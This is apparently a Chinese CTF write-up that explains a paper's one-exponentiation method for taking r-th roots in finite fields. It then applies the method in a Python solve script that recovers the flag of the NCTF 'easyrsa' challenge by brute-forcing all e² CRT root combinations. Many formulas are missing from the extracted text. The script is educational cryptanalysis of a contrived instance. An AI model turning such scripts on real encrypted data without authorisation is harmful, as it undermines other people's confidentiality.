假设r<<log q ，由于 the Adleman-Manders-Miller algorithm 要求s满足 r^s | q-1 并且 r^(s+1)
不能整除 q-1，所以它的时间复杂度O(logrlog4 q) 比 the Cipolla-Lehmer algorithms 的时间复杂度O(rlog3
q) 要高。但是，由于Cipolla Lehmer需要繁琐的扩展字段算法，当s比较小时，the Adleman-Manders-Miller
algorithm 要比之更为有效。
另一方面，在某些情况下还存在比 Tonelli-Shanks 计算更快的其他方法来做开方运算。例子就是当 q ≡ 3 (mod 4).
当c时Fq中的二次剩余时，c的其中一个根就是，利用欧拓很容易证明
当s=2，3时，也有类似的方法， Atkin , Mu¨ller and Kong et al ，他们的方法在这种情况下， 要比Tonelli-Shanks
and the Cipolla-Lehmer 表现得更为出色。
但是作者认为这些方法不能很好的解决普遍的情况，所以作者展示了一种，新的开根的方法，只用一个预计算好的基元，一次指数运算，并且在s很小的时候十分高效。
### 开二次根算法：
有一些高效的公式，分别当 q ≡ 5 (mod 8) ，或者 q ≡ 9 (mod 16) 。如果q ≡ 5 (mod 8) ，属于 q ≡ 1 (mod
4), 的一种特殊情况， Atkin 有一种只进行一次指数运算的高效的公式。
##### Algorithm 1 Atkin’s algorithm when q ≡ 5 (mod 8)
方程，x^2 = a mod (q)，已知a，求x
##### Algorithm 2 Mu¨ller’s algorithm when q ≡ 9 (mod 16)
方程，x^2 = a mod (q)，已知a，求x
其中第二步有个神奇的东西 η(d) ，paper中给的定义是
，然鹅想不出怎么让它等于-b，（还求大师傅们指点~）
### 在有限域中 Fq 开 r^s 根 [ q ≡ lr^s + 1 (mod r^(s+1)) ]
首先我们需要一个质数q，并且有一个r，满足 r |
(q-1)，（如果r与q-1互质，那问题就很简单了，r的逆用欧拓很快就能找到）然后会存在一个s，s是满足的最大的正整数
即会满足
#### 定理1：在域Fq中，给定一个r次幂c，存在一个b，使得c^(r-1)·b^r 具有r^t阶，（t<s）
##### 证明：
我们设一个l，满足gcd(l,r)=1,那么存在β (0≤β<l)，满足 rβ+r−1 ≡ 0 (mod l) 即存在α，满足 rβ + r−1 = lα.
然后，我们设一个 ζ 为，
则有
其中，
因为c是域Fq中的r次幂，故ζ拥有r^t阶，(0≤t<s) （为啥这里t就小于s了，求指点~）
##### 利用：
在域Fq中，我们令 ξ 为
一个r^2阶本原单位根，ξ可以通过公式计算得到，其中d为域Fq中的非r次幂，这样的d可以随机选取，在域Fq中找到它的概率为(r-1)/r
由此，我们设是一个r^t阶的本原单位根，则存在一对唯一确定的i，j满足
因为
所以我们有
由此我们将展现一个新的定理，在合适的情况下，我们用一次指数运算可以找到r次剩余的一个r次根，
#### 定理2：定义u ≡ j·(r^t −1)·r^(s−t−1 ) ≡−jr^(s−t−1) (mod r^(s−1)).
那么在域Fq中c的一个r次根为 cbξ^u ，其中b在定理1中给出。
##### 证明：
（由于，由费马小定理，故在域Fq中 易证，）
证毕。
注1： rβ + r −1 = lα 即 r(β + l) + r −1 = l(α + r)。这说明，α （mod r ）是确定的，β（mod
l）是确定的，所以对于任意的α 满足 ,都有唯一确定的β满足 。作者在这里还加了一句，事实上，条件rβ + r−1−lα = 0 可以转化为 rβ +
r−1−lα ≡ 0 (mod (q-1)/r） 因为 （难道是欧拉判别定理的推广？）
注2：cb的值可以化成
其中α是一个整数（0<α<r），满足所以b也可以表示为
注3：对于 ij ≡ 1 (mod r^t) ，当r^t很大（t>1
并且在r^t阶循环群中的离散对数很难处理）时，其中的i和j找起来是比较困难的，所以这个方法适合在r和t都比较小的时候，也可以被视作是另一个版本的Adleman-Manders-Miller algorithm。
#### 举例与算法
终于到实例环节了~
##### 例1 q ≡ lr + 1 (mod r^2) 0 < l < r:
在这种情况下，s=1,所以t=u=0，所以r次根c可以表示为cbξ^u = cb = 其中α需要满足
当r = 2，s=1就意味着， q ≡ 3 (mod 4) ，α在这里可以算出是1，带入公式，c的一个二次根就是众所周知的 ，（Rabin解密~）
当r = 3，s=1 就意味着 q ≡ 4 (mod 9) 或者 q ≡ 7 (mod 9) ，先算出α，然后带入公式，（当 q ≡ 4 (mod 9）
或是（当 q ≡ 7 (mod 9)）
这里有个表
最底下一样有例外，此时也就以为着r=0，r=0.还有啥根可开~
可见，当s=1时，在 q ≡ 1 (mod r) 并且 q !≡ 1 (mod r^2) 时，即q的(r-1)
种情况都可以借该公式进行一次指数运算就可开根，得到一个解。（推理过程一知半解的，但是结论用起来是真的香）
##### 例2 q ≡ lr^2 + 1 (mod r^3) 0 < l < r:
当s=2.那么或者 是一个r阶本原单位根 （ζ是r^t阶，t=0 or 1），同时ξ也是一个r^2阶的本原单位根（原根）满足：即 。
因此，r次根可以表示为 cbξ^u ，具体的值上文已给，当t=0，u=0，x=cb是一个r次根，当t=1,u ≡−j (mod r) ，x=
cbξ^−j是一个r次根。（所以我们还是希望t=0，这样计算就会极其方便~）
###### Algorithm 3 Our cube root algorithm when q ≡ 1 (mod 9) and q ̸≡ 1 (mod
27)
x^3=c (mod q) （ (q = 9l + 1 (mod 27) with l = 1,2, i.e., q ≡ 10,19 (mod 27)) ）
解读一下：
，其中d在域Fq种不是一个r次幂（遍历一下，随便取一个就好）。
ζ=c^r−1·b^r = c^2·b^3=X^2b
如果，ζ=1，则说明t=0，那么x=cb=X
如果，ζ=B=ξ^r，那么t=j=1,x=cbξ^-j=cbξ^2=XA^2
否则，j=2,x=cbξ^-j=cbξ^-2=XA
验证：
成功~
以下同
###### Algorithm 4 Our 5-th root algorithm when q ≡ 1 (mod 25) and q ̸≡ 1
(mod 125)
x^5=c (mod q) (q = 25l + 1 (mod 125) with l = 1,2,3,4, i.e., q ≡ 26,51,76,101
(mod 125))
##### 例3 q ≡ lr^3 + 1 (mod r^4) 0 < l < r:
当s=3，有r^t阶（t=0,1,2），同时 ξ 是一个r^3 阶的原根 ，满足：
所以，c的r次根可以表示为cbξ^u，当t=0，u=0,x=cb即是c的一个r次根，当t=1，
u ≡ −jr (mod r^2), 当t=2， u ≡ −j (mod r^2),
计算过程类比上文，只是要考虑的（u）的情况增加到了r^2种。
### 实战
回到开头说的NCTF crypto全场两解（大佬都去隔壁打D^3了~）的压轴——easyrsa
题目：（数字太大，就省去了）
from rsav import *
e = 0x1337
p =
q =
n = p * q
'''
assert(flag.startswith('NCTF'))
m = int.from_bytes(flag.encode(), 'big')
assert(m.bit_length() > 1337)
c = pow(m, e, n)
print(c)'''
c=
解题思路：
很普通的加密手段，然后p,q都给了，其中，e|q-1；e|p-1
唯一难点就在e是φ(n)的一个因子所以根本无法求出私钥d
第一步是类似rabin，先将m^e ≡ c (mod n)分解成同余式组
m^e ≡ c (mod p)
m^e ≡ c (mod q)
求出m1和m2，再用CRT就好了
至于m的求解，本题的条件正好符合上文的例1，
于是我们先遍历出α，然后就可以求得m1了，
再算出另一个α，得到m2，然后CRT走一波，就可以出明文的一种情况了，
然而一共有e^2种情况
当e=2，rabin解密，有e^2种情况，因为同余方程组里的每一个方程都有两种情况。
当e=3，每个就有三种，CRT后一共就有3^2种
根据hint2，里面有提供当找到一种解后找到其余解的算法
原理在这 https://crypto.stackexchange.com/questions/63614/finding-the-n-th-root-of-unity-in-a-finite-field
在有限域Fq中，乘法子群的阶为q-1，如果n不满足n|q-1，那么n次单位根只有1本身，如果n满足n|q-1，那么就有n个单位根。
由费马小定理
所以我们有n次单位根
当我们这个n次单位根不等于1时，我们就可以利用它和我们找到的一个根来生成一个阶为n的循环群，这个群里所有的元素即为我们想要的所有的根。
这样我们构造exp，遍历这0x1337*0x1337=24196561种可能，就能解出真正的密文了
import gmpy2
def n2s(x):
try:
try:
flag = hex(x)[2:].decode("hex")
except:
flag = hex(x)[2:-1].decode("hex")
except:
flag=''
return flag
def onemod(p,r):
t=p-2
while pow(t,(p-1)/r,p)==1: t-=1
return pow(t,(p-1)/r,p)
def solution(p,root):
g=onemod(p,0x1337)
may=[]
for i in range(0x1337):
may.append(root*pow(g,i,p)%p)
return may
c =
p =
q =
e = 0x1337
n = p*q
c_p = pow(c,(1+3307*(p-1)/e)/e,p) #p对应的α=3307
print "find one"
C1=solution(p,c_p)[::-1] #逆序，问题不大，只是跑过一次，发现答案在两千多万次后
print "find all"
c_q = pow(c,(1+(2649*(q-1)/e))/e,q) #q对应的α=2649
print "find another"
C2=solution(q,c_q)[::-1]
print "find all"
a= gmpy2.invert(p,q)
b = gmpy2.invert(q,p)
#x = (b*q*c_p+a*p*c_q)%n
flag=0
for i in C1:
for j in C2:
flag+=1
if flag%1000000 == 0:
print flag
x = (b*q*i+a*p*j)%n
if "NCTF" in n2s(x):
print n2s(x)
exit(0)
## 总结
这一次借NCTF了解了在域中开根的一种高效方法，这种方法似乎比出题人soreatu师傅的预期解还要高效~
并且有幸拿到了一个一血，不得不说，这公式，真香~
另外感谢这次NCTF，在这次密码学的赛题中学到了很多，另外一道childrsa也很有意思（有意思在我意外的发现了其中一个神奇规律23333）
最后再次感谢soreatu师傅制作的优质赛题以及赛后详细的wp与指点~ | 社区文章 |